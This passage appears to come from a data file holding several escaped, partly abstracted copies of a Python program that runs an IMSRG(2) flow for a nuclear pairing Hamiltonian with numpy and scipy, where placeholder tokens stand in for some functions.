Gammaod_ph = ph_transform_2B(Gammaod, bas2B, idx2B, basph2B, idxph2B)\n GammaGamma_ph = dot(Gammad_ph, dot(occphA_2B, Gammaod_ph))\n GammaGamma = inverse_ph_transform_2B(GammaGamma_ph, bas2B, idx2B,\n basph2B, idxph2B)\n work = np.zeros_like(GammaGamma)\n for i1, (i, j) in enumerate(bas2B):\n for i2, (k, l) in enumerate(bas2B):\n work[i1, i2] -= GammaGamma[i1, i2] - GammaGamma[idx2B[j, i], i2\n ] - GammaGamma[i1, idx2B[l, k]] + GammaGamma[idx2B[j, i],\n idx2B[l, k]]\n GammaGamma = work\n eta2B += GammaGamma\n return eta1B, eta2B\n\n\ndef flow_imsrg2(eta1B, eta2B, f, Gamma, user_data):\n dim1B = user_data['dim1B']\n holes = user_data['holes']\n particles = user_data['particles']\n bas2B = user_data['bas2B']\n idx2B = user_data['idx2B']\n basph2B = user_data['basph2B']\n idxph2B = user_data['idxph2B']\n occB_2B = user_data['occB_2B']\n occC_2B = user_data['occC_2B']\n occphA_2B = user_data['occphA_2B']\n dE = 0.0\n for i in holes:\n for a in particles:\n dE += eta1B[i, a] * f[a, i] - eta1B[a, i] * f[i, a]\n for i in holes:\n for j in holes:\n for a in particles:\n for b in particles:\n dE += 0.5 * eta2B[idx2B[i, j], idx2B[a, b]] * Gamma[\n idx2B[a, b], idx2B[i, j]]\n df = np.zeros_like(f)\n df += commutator(eta1B, f)\n for p in range(dim1B):\n for q in range(dim1B):\n for i in holes:\n for a in particles:\n df[p, q] += eta1B[i, a] * Gamma[idx2B[a, p], idx2B[i, q]\n ] - eta1B[a, i] * Gamma[idx2B[i, p], idx2B[a, q]] - f[\n i, a] * eta2B[idx2B[a, p], idx2B[i, q]] + f[a, i\n ] * eta2B[idx2B[i, p], idx2B[a, q]]\n etaGamma = dot(eta2B, dot(occB_2B, Gamma))\n for p in range(dim1B):\n for q in range(dim1B):\n for i in holes:\n df[p, q] += 0.5 * (etaGamma[idx2B[i, p], idx2B[i, q]] +\n transpose(etaGamma)[idx2B[i, p], idx2B[i, q]])\n etaGamma = dot(eta2B, dot(occC_2B, Gamma))\n for p in range(dim1B):\n for q in range(dim1B):\n for r in range(dim1B):\n df[p, q] += 0.5 * (etaGamma[idx2B[r, p], idx2B[r, q]] +\n transpose(etaGamma)[idx2B[r, p], idx2B[r, q]])\n dGamma = np.zeros_like(Gamma)\n for p in range(dim1B):\n for q in range(dim1B):\n for r in range(dim1B):\n for s in range(dim1B):\n for t in range(dim1B):\n dGamma[idx2B[p, q], idx2B[r, s]] += eta1B[p, t\n ] * Gamma[idx2B[t, q], idx2B[r, s]] + eta1B[q, t\n ] * Gamma[idx2B[p, t], idx2B[r, s]] - eta1B[t, r\n ] * Gamma[idx2B[p, q], idx2B[t, s]] - eta1B[t, s\n ] * Gamma[idx2B[p, q], idx2B[r, t]] - f[p, t\n ] * eta2B[idx2B[t, q], idx2B[r, s]] - f[q, t\n ] * eta2B[idx2B[p, t], idx2B[r, s]] + f[t, r\n ] * eta2B[idx2B[p, q], idx2B[t, s]] + f[t, s\n ] * eta2B[idx2B[p, q], idx2B[r, t]]\n etaGamma = dot(eta2B, dot(occB_2B, Gamma))\n dGamma += 0.5 * (etaGamma + transpose(etaGamma))\n eta2B_ph = ph_transform_2B(eta2B, bas2B, idx2B, basph2B, idxph2B)\n Gamma_ph = ph_transform_2B(Gamma, bas2B, idx2B, basph2B, idxph2B)\n etaGamma_ph = dot(eta2B_ph, dot(occphA_2B, Gamma_ph))\n etaGamma = inverse_ph_transform_2B(etaGamma_ph, bas2B, idx2B, basph2B,\n idxph2B)\n work = np.zeros_like(etaGamma)\n for i1, (i, j) in enumerate(bas2B):\n for i2, (k, l) in enumerate(bas2B):\n work[i1, i2] -= etaGamma[i1, i2] - etaGamma[idx2B[j, i], i2\n ] - etaGamma[i1, idx2B[l, k]] + etaGamma[idx2B[j, i], idx2B\n [l, k]]\n etaGamma = work\n dGamma += etaGamma\n return dE, df, dGamma\n\n\ndef get_operator_from_y(y, dim1B, dim2B):\n ptr = 0\n zero_body = y[ptr]\n ptr += 1\n one_body = reshape(y[ptr:ptr + dim1B * dim1B], (dim1B, dim1B))\n ptr += dim1B * dim1B\n two_body = reshape(y[ptr:ptr + dim2B * dim2B], (dim2B, dim2B))\n return zero_body, one_body, two_body\n\n\n<function token>\n\n\ndef pairing_hamiltonian(delta, g, user_data):\n bas1B = user_data['bas1B']\n bas2B = user_data['bas2B']\n idx2B = user_data['idx2B']\n dim = len(bas1B)\n H1B = np.zeros((dim, dim))\n for i in bas1B:\n H1B[i, i] = delta * np.floor_divide(i, 2)\n dim = len(bas2B)\n H2B = np.zeros((dim, dim))\n for i, j in bas2B:\n if i % 2 == 0 and j == i + 1:\n for k, l in bas2B:\n if k % 2 == 0 and l == k + 1:\n H2B[idx2B[i, j], idx2B[k, l]] = -0.5 * g\n H2B[idx2B[j, i], idx2B[k, l]] = 0.5 * g\n H2B[idx2B[i, j], idx2B[l, k]] = 0.5 * g\n H2B[idx2B[j, i], idx2B[l, k]] = -0.5 * g\n return H1B, H2B\n\n\n<function token>\n<function token>\n<function token>\n\n\ndef main():\n delta = float(argv[1])\n g = float(argv[2])\n particles = 4\n dim1B = 8\n holes = [0, 1, 2, 3]\n particles = [4, 5, 6, 7]\n bas1B = range(dim1B)\n bas2B = construct_basis_2B(holes, particles)\n basph2B = construct_basis_ph2B(holes, particles)\n idx2B = construct_index_2B(bas2B)\n idxph2B = construct_index_2B(basph2B)\n occ1B = construct_occupation_1B(bas1B, holes, particles)\n occA_2B = construct_occupationA_2B(bas2B, occ1B)\n occB_2B = construct_occupationB_2B(bas2B, occ1B)\n occC_2B = construct_occupationC_2B(bas2B, occ1B)\n occphA_2B = construct_occupationA_2B(basph2B, occ1B)\n user_data = {'dim1B': dim1B, 'holes': holes, 'particles': particles,\n 'bas1B': bas1B, 'bas2B': bas2B, 'basph2B': basph2B, 'idx2B': idx2B,\n 'idxph2B': idxph2B, 'occ1B': occ1B, 'occA_2B': occA_2B, 'occB_2B':\n occB_2B, 'occC_2B': occC_2B, 'occphA_2B': occphA_2B, 'eta_norm': \n 0.0, 'dE': 0.0, 'calc_eta': eta_white_atan, 'calc_rhs': flow_imsrg2}\n H1B, H2B = pairing_hamiltonian(delta, g, user_data)\n E, f, Gamma = normal_order(H1B, H2B, user_data)\n y0 = np.append([E], np.append(reshape(f, -1), reshape(Gamma, -1)))\n solver = ode(derivative_wrapper, jac=None)\n solver.set_integrator('vode', method='bdf', order=5, nsteps=1000)\n solver.set_f_params(user_data)\n solver.set_initial_value(y0, 0.0)\n sfinal = 50\n ds = 0.1\n print(\n '%-8s %-14s %-14s %-14s %-14s %-14s %-14s %-14s %-14s'\n % ('s', 'E', 'DE(2)', 'DE(3)', 'E+DE', 'dE/ds', '||eta||',\n '||fod||', '||Gammaod||'))\n print('-' * 148)\n while solver.successful() and solver.t < sfinal:\n ys = solver.integrate(sfinal, step=True)\n dim2B = dim1B * dim1B\n E, f, Gamma = get_operator_from_y(ys, dim1B, dim2B)\n DE2 = calc_mbpt2(f, Gamma, user_data)\n DE3 = calc_mbpt3(f, Gamma, user_data)\n norm_fod = calc_fod_norm(f, user_data)\n norm_Gammaod = calc_Gammaod_norm(Gamma, user_data)\n print(\n '%8.5f %14.8f %14.8f %14.8f %14.8f %14.8f %14.8f %14.8f %14.8f'\n % (solver.t, E, DE2, DE3, E + DE2 + DE3, user_data['dE'],\n user_data['eta_norm'], norm_fod, norm_Gammaod))\n if abs(DE2 / E) < 1e-07:\n break\n return\n\n\n<code token>\n", "<import token>\n<function token>\n<function token>\n<function token>\n\n\ndef ph_transform_2B(Gamma, bas2B, idx2B, basph2B, idxph2B):\n dim = len(basph2B)\n Gamma_ph = np.zeros((dim, dim))\n for i1, (a, b) in enumerate(basph2B):\n for i2, (c, d) in enumerate(basph2B):\n Gamma_ph[i1, i2] -= Gamma[idx2B[a, d], idx2B[c, b]]\n return Gamma_ph\n\n\ndef inverse_ph_transform_2B(Gamma_ph, bas2B, idx2B, basph2B, idxph2B):\n dim = len(bas2B)\n Gamma = np.zeros((dim, dim))\n for i1, (a, b) in enumerate(bas2B):\n for i2, (c, d) in enumerate(bas2B):\n Gamma[i1, i2] -= Gamma_ph[idxph2B[a, d], idxph2B[c, b]]\n return Gamma\n\n\n<function token>\n\n\ndef calc_fod_norm(f, user_data):\n particles = user_data['particles']\n holes = user_data['holes']\n norm = 0.0\n for a in particles:\n for i in holes:\n norm += f[a, i] ** 2 + f[i, a] ** 2\n return np.sqrt(norm)\n\n\n<function token>\n\n\ndef construct_occupation_1B(bas1B, holes, particles):\n dim = len(bas1B)\n occ = np.zeros(dim)\n for i in holes:\n occ[i] = 1.0\n return occ\n\n\n<function token>\n\n\ndef construct_occupationB_2B(bas2B, occ1B):\n dim = len(bas2B)\n occ = np.zeros((dim, dim))\n for i1, (i, j) in enumerate(bas2B):\n occ[i1, i1] = 1.0 - occ1B[i] - occ1B[j]\n return occ\n\n\n<function token>\n<function token>\n\n\ndef eta_imtime(f, Gamma, user_data):\n dim1B = user_data['dim1B']\n particles = user_data['particles']\n holes = user_data['holes']\n idx2B = user_data['idx2B']\n eta1B = np.zeros_like(f)\n for a in particles:\n for i in holes:\n dE = f[a, a] - f[i, i] + Gamma[idx2B[a, i], idx2B[a, i]]\n val = np.sign(dE) * f[a, i]\n eta1B[a, i] = val\n eta1B[i, a] = -val\n eta2B = np.zeros_like(Gamma)\n for a in particles:\n for b in particles:\n for i in holes:\n for j in holes:\n dE = f[a, a] + f[b, b] - f[i, i] - f[j, j] + Gamma[\n idx2B[a, b], idx2B[a, b]] + Gamma[idx2B[i, j],\n idx2B[i, j]] - Gamma[idx2B[a, i], idx2B[a, i]] - Gamma[\n idx2B[a, j], idx2B[a, j]] - Gamma[idx2B[b, i],\n idx2B[b, i]] - Gamma[idx2B[b, j], idx2B[b, j]]\n val = np.sign(dE) * Gamma[idx2B[a, b], idx2B[i, j]]\n eta2B[idx2B[a, b], idx2B[i, j]] = val\n eta2B[idx2B[i, j], idx2B[a, b]] = -val\n return eta1B, eta2B\n\n\n<function token>\n\n\ndef eta_white_mp(f, Gamma, user_data):\n dim1B = user_data['dim1B']\n particles = user_data['particles']\n holes = user_data['holes']\n idx2B = user_data['idx2B']\n eta1B = np.zeros_like(f)\n for a in particles:\n for i in holes:\n denom = f[a, a] - f[i, i]\n val = f[a, i] / denom\n eta1B[a, i] = val\n eta1B[i, a] = -val\n eta2B = np.zeros_like(Gamma)\n for a in particles:\n for b in particles:\n for i in holes:\n for j in holes:\n denom = f[a, a] + f[b, b] - f[i, i] - f[j, j]\n val = Gamma[idx2B[a, b], idx2B[i, j]] / denom\n eta2B[idx2B[a, b], idx2B[i, j]] = val\n eta2B[idx2B[i, j], idx2B[a, b]] = -val\n return eta1B, eta2B\n\n\n<function token>\n\n\ndef eta_wegner(f, Gamma, user_data):\n dim1B = user_data['dim1B']\n holes = user_data['holes']\n particles = user_data['particles']\n bas2B = user_data['bas2B']\n basph2B = user_data['basph2B']\n idx2B = user_data['idx2B']\n idxph2B = user_data['idxph2B']\n occB_2B = user_data['occB_2B']\n occC_2B = user_data['occC_2B']\n occphA_2B = user_data['occphA_2B']\n fd = np.zeros_like(f)\n fod = np.zeros_like(f)\n Gammad = np.zeros_like(Gamma)\n Gammaod = np.zeros_like(Gamma)\n for a in particles:\n for i in holes:\n fod[a, i] = f[a, i]\n fod[i, a] = f[i, a]\n fd = f - fod\n for a in particles:\n for b in particles:\n for i in holes:\n for j in holes:\n Gammaod[idx2B[a, b], idx2B[i, j]] = Gamma[idx2B[a, b],\n idx2B[i, j]]\n Gammaod[idx2B[i, j], idx2B[a, b]] = Gamma[idx2B[i, j],\n idx2B[a, b]]\n Gammad = Gamma - Gammaod\n eta1B = np.zeros_like(f)\n eta1B += commutator(fd, fod)\n for p in range(dim1B):\n for q in range(dim1B):\n for i in holes:\n for a in particles:\n eta1B[p, q] += fd[i, a] * Gammaod[idx2B[a, p], idx2B[i, q]\n ] - fd[a, i] * Gammaod[idx2B[i, p], idx2B[a, q]] - fod[\n i, a] * Gammad[idx2B[a, p], idx2B[i, q]] + fod[a, i\n ] * Gammad[idx2B[i, p], idx2B[a, q]]\n GammaGamma = dot(Gammad, dot(occB_2B, Gammaod))\n for p in range(dim1B):\n for q in range(dim1B):\n for i in holes:\n eta1B[p, q] += 0.5 * (GammaGamma[idx2B[i, p], idx2B[i, q]] -\n transpose(GammaGamma)[idx2B[i, p], idx2B[i, q]])\n GammaGamma = dot(Gammad, dot(occC_2B, Gammaod))\n for p in range(dim1B):\n for q in range(dim1B):\n for r in range(dim1B):\n eta1B[p, q] += 0.5 * (GammaGamma[idx2B[r, p], idx2B[r, q]] +\n transpose(GammaGamma)[idx2B[r, p], idx2B[r, q]])\n eta2B = np.zeros_like(Gamma)\n for p in range(dim1B):\n for q in range(dim1B):\n for r in range(dim1B):\n for s in range(dim1B):\n for t in range(dim1B):\n eta2B[idx2B[p, q], idx2B[r, s]] += fd[p, t] * Gammaod[\n idx2B[t, q], idx2B[r, s]] + fd[q, t] * Gammaod[\n idx2B[p, t], idx2B[r, s]] - fd[t, r] * Gammaod[\n idx2B[p, q], idx2B[t, s]] - fd[t, s] * Gammaod[\n idx2B[p, q], idx2B[r, t]] - fod[p, t] * Gammad[\n idx2B[t, q], idx2B[r, s]] - fod[q, t] * Gammad[\n idx2B[p, t], idx2B[r, s]] + fod[t, r] * Gammad[\n idx2B[p, q], idx2B[t, s]] + fod[t, s] * Gammad[\n idx2B[p, q], idx2B[r, t]]\n GammaGamma = dot(Gammad, dot(occB_2B, Gammaod))\n eta2B += 0.5 * (GammaGamma - transpose(GammaGamma))\n Gammad_ph = ph_transform_2B(Gammad, bas2B, idx2B, basph2B, idxph2B)\n Gammaod_ph = ph_transform_2B(Gammaod, bas2B, idx2B, basph2B, idxph2B)\n GammaGamma_ph = dot(Gammad_ph, dot(occphA_2B, Gammaod_ph))\n GammaGamma = inverse_ph_transform_2B(GammaGamma_ph, bas2B, idx2B,\n basph2B, idxph2B)\n work = np.zeros_like(GammaGamma)\n for i1, (i, j) in enumerate(bas2B):\n for i2, (k, l) in enumerate(bas2B):\n work[i1, i2] -= GammaGamma[i1, i2] - GammaGamma[idx2B[j, i], i2\n ] - GammaGamma[i1, idx2B[l, k]] + GammaGamma[idx2B[j, i],\n idx2B[l, k]]\n GammaGamma = work\n eta2B += GammaGamma\n return eta1B, eta2B\n\n\ndef flow_imsrg2(eta1B, eta2B, f, Gamma, user_data):\n dim1B = user_data['dim1B']\n holes = user_data['holes']\n particles = user_data['particles']\n bas2B = user_data['bas2B']\n idx2B = user_data['idx2B']\n basph2B = user_data['basph2B']\n idxph2B = user_data['idxph2B']\n occB_2B = user_data['occB_2B']\n occC_2B = user_data['occC_2B']\n occphA_2B = user_data['occphA_2B']\n dE = 0.0\n for i in holes:\n for a in particles:\n dE += eta1B[i, a] * f[a, i] - eta1B[a, i] * f[i, a]\n for i in holes:\n for j in holes:\n for a in particles:\n for b in particles:\n dE += 0.5 * eta2B[idx2B[i, j], idx2B[a, b]] * Gamma[\n idx2B[a, b], idx2B[i, j]]\n df = np.zeros_like(f)\n df += commutator(eta1B, f)\n for p in range(dim1B):\n for q in range(dim1B):\n for i in holes:\n for a in particles:\n df[p, q] += eta1B[i, a] * Gamma[idx2B[a, p], idx2B[i, q]\n ] - eta1B[a, i] * Gamma[idx2B[i, p], idx2B[a, q]] - f[\n i, a] * eta2B[idx2B[a, p], idx2B[i, q]] + f[a, i\n ] * eta2B[idx2B[i, p], idx2B[a, q]]\n etaGamma = dot(eta2B, dot(occB_2B, Gamma))\n for p in range(dim1B):\n for q in range(dim1B):\n for i in holes:\n df[p, q] += 0.5 * (etaGamma[idx2B[i, p], idx2B[i, q]] +\n transpose(etaGamma)[idx2B[i, p], idx2B[i, q]])\n etaGamma = dot(eta2B, dot(occC_2B, Gamma))\n for p in range(dim1B):\n for q in range(dim1B):\n for r in range(dim1B):\n df[p, q] += 0.5 * (etaGamma[idx2B[r, p], idx2B[r, q]] +\n transpose(etaGamma)[idx2B[r, p], idx2B[r, q]])\n dGamma = np.zeros_like(Gamma)\n for p in range(dim1B):\n for q in range(dim1B):\n for r in range(dim1B):\n for s in range(dim1B):\n for t in range(dim1B):\n dGamma[idx2B[p, q], idx2B[r, s]] += eta1B[p, t\n ] * Gamma[idx2B[t, q], idx2B[r, s]] + eta1B[q, t\n ] * Gamma[idx2B[p, t], idx2B[r, s]] - eta1B[t, r\n ] * Gamma[idx2B[p, q], idx2B[t, s]] - eta1B[t, s\n ] * Gamma[idx2B[p, q], idx2B[r, t]] - f[p, t\n ] * eta2B[idx2B[t, q], idx2B[r, s]] - f[q, t\n ] * eta2B[idx2B[p, t], idx2B[r, s]] + f[t, r\n ] * eta2B[idx2B[p, q], idx2B[t, s]] + f[t, s\n ] * eta2B[idx2B[p, q], idx2B[r, t]]\n etaGamma = dot(eta2B, dot(occB_2B, Gamma))\n dGamma += 0.5 * (etaGamma + transpose(etaGamma))\n eta2B_ph = ph_transform_2B(eta2B, bas2B, idx2B, basph2B, idxph2B)\n Gamma_ph = ph_transform_2B(Gamma, bas2B, idx2B, basph2B, idxph2B)\n etaGamma_ph = dot(eta2B_ph, dot(occphA_2B, Gamma_ph))\n etaGamma = inverse_ph_transform_2B(etaGamma_ph, bas2B, idx2B, basph2B,\n idxph2B)\n work = np.zeros_like(etaGamma)\n for i1, (i, j) in enumerate(bas2B):\n for i2, (k, l) in enumerate(bas2B):\n work[i1, i2] -= etaGamma[i1, i2] - etaGamma[idx2B[j, i], i2\n ] - etaGamma[i1, idx2B[l, k]] + etaGamma[idx2B[j, i], idx2B\n [l, k]]\n etaGamma = work\n dGamma += etaGamma\n return dE, df, dGamma\n\n\ndef get_operator_from_y(y, dim1B, dim2B):\n ptr = 0\n zero_body = y[ptr]\n ptr += 1\n one_body = reshape(y[ptr:ptr + dim1B * dim1B], (dim1B, dim1B))\n ptr += dim1B * dim1B\n two_body = reshape(y[ptr:ptr + dim2B * dim2B], (dim2B, dim2B))\n return zero_body, one_body, two_body\n\n\n<function token>\n\n\ndef pairing_hamiltonian(delta, g, user_data):\n bas1B = user_data['bas1B']\n bas2B = user_data['bas2B']\n idx2B = user_data['idx2B']\n dim = len(bas1B)\n H1B = np.zeros((dim, dim))\n for i in bas1B:\n H1B[i, i] = delta * np.floor_divide(i, 2)\n dim = len(bas2B)\n H2B = np.zeros((dim, dim))\n for i, j in bas2B:\n if i % 2 == 0 and j == i + 1:\n for k, l in bas2B:\n if k % 2 == 0 and l == k + 1:\n H2B[idx2B[i, j], idx2B[k, l]] = -0.5 * g\n H2B[idx2B[j, i], idx2B[k, l]] = 0.5 * g\n H2B[idx2B[i, j], idx2B[l, k]] = 0.5 * g\n H2B[idx2B[j, i], idx2B[l, k]] = -0.5 * g\n return H1B, H2B\n\n\n<function token>\n<function token>\n<function token>\n\n\ndef main():\n delta = float(argv[1])\n g = float(argv[2])\n particles = 4\n dim1B = 8\n holes = [0, 1, 2, 3]\n particles = [4, 5, 6, 7]\n bas1B = range(dim1B)\n bas2B = construct_basis_2B(holes, particles)\n basph2B = construct_basis_ph2B(holes, particles)\n idx2B = construct_index_2B(bas2B)\n idxph2B = construct_index_2B(basph2B)\n occ1B = construct_occupation_1B(bas1B, holes, particles)\n occA_2B = construct_occupationA_2B(bas2B, occ1B)\n occB_2B = construct_occupationB_2B(bas2B, occ1B)\n occC_2B = construct_occupationC_2B(bas2B, occ1B)\n occphA_2B = construct_occupationA_2B(basph2B, occ1B)\n user_data = {'dim1B': dim1B, 'holes': holes, 'particles': particles,\n 'bas1B': bas1B, 'bas2B': bas2B, 'basph2B': basph2B, 'idx2B': idx2B,\n 'idxph2B': idxph2B, 'occ1B': occ1B, 'occA_2B': occA_2B, 'occB_2B':\n occB_2B, 'occC_2B': occC_2B, 'occphA_2B': occphA_2B, 'eta_norm': \n 0.0, 'dE': 0.0, 'calc_eta': eta_white_atan, 'calc_rhs': flow_imsrg2}\n H1B, H2B = pairing_hamiltonian(delta, g, user_data)\n E, f, Gamma = normal_order(H1B, H2B, user_data)\n y0 = np.append([E], np.append(reshape(f, -1), reshape(Gamma, -1)))\n solver = ode(derivative_wrapper, jac=None)\n solver.set_integrator('vode', method='bdf', order=5, nsteps=1000)\n solver.set_f_params(user_data)\n solver.set_initial_value(y0, 0.0)\n sfinal = 50\n ds = 0.1\n print(\n '%-8s %-14s %-14s %-14s %-14s %-14s %-14s %-14s %-14s'\n % ('s', 'E', 'DE(2)', 'DE(3)', 'E+DE', 'dE/ds', '||eta||',\n '||fod||', '||Gammaod||'))\n print('-' * 148)\n while solver.successful() and solver.t < sfinal:\n ys = solver.integrate(sfinal, step=True)\n dim2B = dim1B * dim1B\n E, f, Gamma = get_operator_from_y(ys, dim1B, dim2B)\n DE2 = calc_mbpt2(f, Gamma, user_data)\n DE3 = calc_mbpt3(f, Gamma, user_data)\n norm_fod = calc_fod_norm(f, user_data)\n norm_Gammaod = calc_Gammaod_norm(Gamma, user_data)\n print(\n '%8.5f %14.8f %14.8f %14.8f %14.8f %14.8f %14.8f %14.8f %14.8f'\n % (solver.t, E, DE2, DE3, E + DE2 + DE3, user_data['dE'],\n user_data['eta_norm'], norm_fod, norm_Gammaod))\n if abs(DE2 / E) < 1e-07:\n break\n return\n\n\n<code token>\n", "<import token>\n<function token>\n<function token>\n<function token>\n\n\ndef ph_transform_2B(Gamma, bas2B, idx2B, basph2B, idxph2B):\n dim = len(basph2B)\n Gamma_ph = np.zeros((dim, dim))\n for i1, (a, b) in enumerate(basph2B):\n for i2, (c, d) in enumerate(basph2B):\n Gamma_ph[i1, i2] -= Gamma[idx2B[a, d], idx2B[c, b]]\n return Gamma_ph\n\n\ndef inverse_ph_transform_2B(Gamma_ph, bas2B, idx2B, basph2B, idxph2B):\n dim = len(bas2B)\n Gamma = np.zeros((dim, dim))\n for i1, (a, b) in enumerate(bas2B):\n for i2, (c, d) in enumerate(bas2B):\n Gamma[i1, i2] -= Gamma_ph[idxph2B[a, d], idxph2B[c, b]]\n return Gamma\n\n\n<function token>\n<function token>\n<function token>\n\n\ndef construct_occupation_1B(bas1B, holes, particles):\n dim = len(bas1B)\n occ = np.zeros(dim)\n for i in holes:\n occ[i] = 1.0\n return occ\n\n\n<function token>\n\n\ndef construct_occupationB_2B(bas2B, occ1B):\n dim = len(bas2B)\n occ = np.zeros((dim, dim))\n for i1, (i, j) in enumerate(bas2B):\n occ[i1, i1] = 1.0 - occ1B[i] - occ1B[j]\n return occ\n\n\n<function token>\n<function token>\n\n\ndef eta_imtime(f, Gamma, user_data):\n dim1B = user_data['dim1B']\n particles = user_data['particles']\n holes = user_data['holes']\n idx2B = user_data['idx2B']\n eta1B = np.zeros_like(f)\n for a in particles:\n for i in holes:\n dE = f[a, a] - f[i, i] + Gamma[idx2B[a, i], idx2B[a, i]]\n val = np.sign(dE) * f[a, i]\n eta1B[a, i] = val\n eta1B[i, a] = -val\n eta2B = np.zeros_like(Gamma)\n for a in particles:\n for b in particles:\n for i in holes:\n for j in holes:\n dE = f[a, a] + f[b, b] - f[i, i] - f[j, j] + Gamma[\n idx2B[a, b], idx2B[a, b]] + Gamma[idx2B[i, j],\n idx2B[i, j]] - Gamma[idx2B[a, i], idx2B[a, i]] - Gamma[\n idx2B[a, j], idx2B[a, j]] - Gamma[idx2B[b, i],\n idx2B[b, i]] - Gamma[idx2B[b, j], idx2B[b, j]]\n val = np.sign(dE) * Gamma[idx2B[a, b], idx2B[i, j]]\n eta2B[idx2B[a, b], idx2B[i, j]] = val\n eta2B[idx2B[i, j], idx2B[a, b]] = -val\n return eta1B, eta2B\n\n\n<function token>\n\n\ndef eta_white_mp(f, Gamma, user_data):\n dim1B = user_data['dim1B']\n particles = user_data['particles']\n holes = user_data['holes']\n idx2B = user_data['idx2B']\n eta1B = np.zeros_like(f)\n for a in particles:\n for i in holes:\n denom = f[a, a] - f[i, i]\n val = f[a, i] / denom\n eta1B[a, i] = val\n eta1B[i, a] = -val\n eta2B = np.zeros_like(Gamma)\n for a in particles:\n for b in particles:\n for i in holes:\n for j in holes:\n denom = f[a, a] + f[b, b] - f[i, i] - f[j, j]\n val = Gamma[idx2B[a, b], idx2B[i, j]] / denom\n eta2B[idx2B[a, b], idx2B[i, j]] = val\n eta2B[idx2B[i, j], idx2B[a, b]] = -val\n return eta1B, eta2B\n\n\n<function token>\n\n\ndef eta_wegner(f, Gamma, user_data):\n dim1B = user_data['dim1B']\n holes = user_data['holes']\n particles = user_data['particles']\n bas2B = user_data['bas2B']\n basph2B = user_data['basph2B']\n idx2B = user_data['idx2B']\n idxph2B = user_data['idxph2B']\n occB_2B = user_data['occB_2B']\n occC_2B = user_data['occC_2B']\n occphA_2B = user_data['occphA_2B']\n fd = np.zeros_like(f)\n fod = np.zeros_like(f)\n Gammad = np.zeros_like(Gamma)\n Gammaod = np.zeros_like(Gamma)\n for a in particles:\n for i in holes:\n fod[a, i] = f[a, i]\n fod[i, a] = f[i, a]\n fd = f - fod\n for a in particles:\n for b in particles:\n for i in holes:\n for j in holes:\n Gammaod[idx2B[a, b], idx2B[i, j]] = Gamma[idx2B[a, b],\n idx2B[i, j]]\n Gammaod[idx2B[i, j], idx2B[a, b]] = Gamma[idx2B[i, j],\n idx2B[a, b]]\n Gammad = Gamma - Gammaod\n eta1B = np.zeros_like(f)\n eta1B += commutator(fd, fod)\n for p in range(dim1B):\n for q in range(dim1B):\n for i in holes:\n for a in particles:\n eta1B[p, q] += fd[i, a] * Gammaod[idx2B[a, p], idx2B[i, q]\n ] - fd[a, i] * Gammaod[idx2B[i, p], idx2B[a, q]] - fod[\n i, a] * Gammad[idx2B[a, p], idx2B[i, q]] + fod[a, i\n ] * Gammad[idx2B[i, p], idx2B[a, q]]\n GammaGamma = dot(Gammad, dot(occB_2B, Gammaod))\n for p in range(dim1B):\n for q in range(dim1B):\n for i in holes:\n eta1B[p, q] += 0.5 * (GammaGamma[idx2B[i, p], idx2B[i, q]] -\n transpose(GammaGamma)[idx2B[i, p], idx2B[i, q]])\n GammaGamma = dot(Gammad, dot(occC_2B, Gammaod))\n for p in range(dim1B):\n for q in range(dim1B):\n for r in range(dim1B):\n eta1B[p, q] += 0.5 * (GammaGamma[idx2B[r, p], idx2B[r, q]] +\n transpose(GammaGamma)[idx2B[r, p], idx2B[r, q]])\n eta2B = np.zeros_like(Gamma)\n for p in range(dim1B):\n for q in range(dim1B):\n for r in range(dim1B):\n for s in range(dim1B):\n for t in range(dim1B):\n eta2B[idx2B[p, q], idx2B[r, s]] += fd[p, t] * Gammaod[\n idx2B[t, q], idx2B[r, s]] + fd[q, t] * Gammaod[\n idx2B[p, t], idx2B[r, s]] - fd[t, r] * Gammaod[\n idx2B[p, q], idx2B[t, s]] - fd[t, s] * Gammaod[\n idx2B[p, q], idx2B[r, t]] - fod[p, t] * Gammad[\n idx2B[t, q], idx2B[r, s]] - fod[q, t] * Gammad[\n idx2B[p, t], idx2B[r, s]] + fod[t, r] * Gammad[\n idx2B[p, q], idx2B[t, s]] + fod[t, s] * Gammad[\n idx2B[p, q], idx2B[r, t]]\n GammaGamma = dot(Gammad, dot(occB_2B, Gammaod))\n eta2B += 0.5 * (GammaGamma - transpose(GammaGamma))\n Gammad_ph = ph_transform_2B(Gammad, bas2B, idx2B, basph2B, idxph2B)\n Gammaod_ph = ph_transform_2B(Gammaod, bas2B, idx2B, basph2B, idxph2B)\n GammaGamma_ph = dot(Gammad_ph, dot(occphA_2B, Gammaod_ph))\n GammaGamma = inverse_ph_transform_2B(GammaGamma_ph, bas2B, idx2B,\n basph2B, idxph2B)\n work = np.zeros_like(GammaGamma)\n for i1, (i, j) in enumerate(bas2B):\n for i2, (k, l) in enumerate(bas2B):\n work[i1, i2] -= GammaGamma[i1, i2] - GammaGamma[idx2B[j, i], i2\n ] - GammaGamma[i1, idx2B[l, k]] + GammaGamma[idx2B[j, i],\n idx2B[l, k]]\n GammaGamma = work\n eta2B += GammaGamma\n return eta1B, eta2B\n\n\ndef flow_imsrg2(eta1B, eta2B, f, Gamma, user_data):\n dim1B = user_data['dim1B']\n holes = user_data['holes']\n particles = user_data['particles']\n bas2B = user_data['bas2B']\n idx2B = user_data['idx2B']\n basph2B = user_data['basph2B']\n idxph2B = user_data['idxph2B']\n occB_2B = user_data['occB_2B']\n occC_2B = user_data['occC_2B']\n occphA_2B = user_data['occphA_2B']\n dE = 0.0\n for i in holes:\n for a in particles:\n dE += eta1B[i, a] * f[a, i] - eta1B[a, i] * f[i, a]\n for i in holes:\n for j in holes:\n for a in particles:\n for b in particles:\n dE += 0.5 * eta2B[idx2B[i, j], idx2B[a, b]] * Gamma[\n idx2B[a, b], idx2B[i, j]]\n df = np.zeros_like(f)\n df += commutator(eta1B, f)\n for p in range(dim1B):\n for q in range(dim1B):\n for i in holes:\n for a in particles:\n df[p, q] += eta1B[i, a] * Gamma[idx2B[a, p], idx2B[i, q]\n ] - eta1B[a, i] * Gamma[idx2B[i, p], idx2B[a, q]] - f[\n i, a] * eta2B[idx2B[a, p], idx2B[i, q]] + f[a, i\n ] * eta2B[idx2B[i, p], idx2B[a, q]]\n etaGamma = dot(eta2B, dot(occB_2B, Gamma))\n for p in range(dim1B):\n for q in range(dim1B):\n for i in holes:\n df[p, q] += 0.5 * (etaGamma[idx2B[i, p], idx2B[i, q]] +\n transpose(etaGamma)[idx2B[i, p], idx2B[i, q]])\n etaGamma = dot(eta2B, dot(occC_2B, Gamma))\n for p in range(dim1B):\n for q in range(dim1B):\n for r in range(dim1B):\n df[p, q] += 0.5 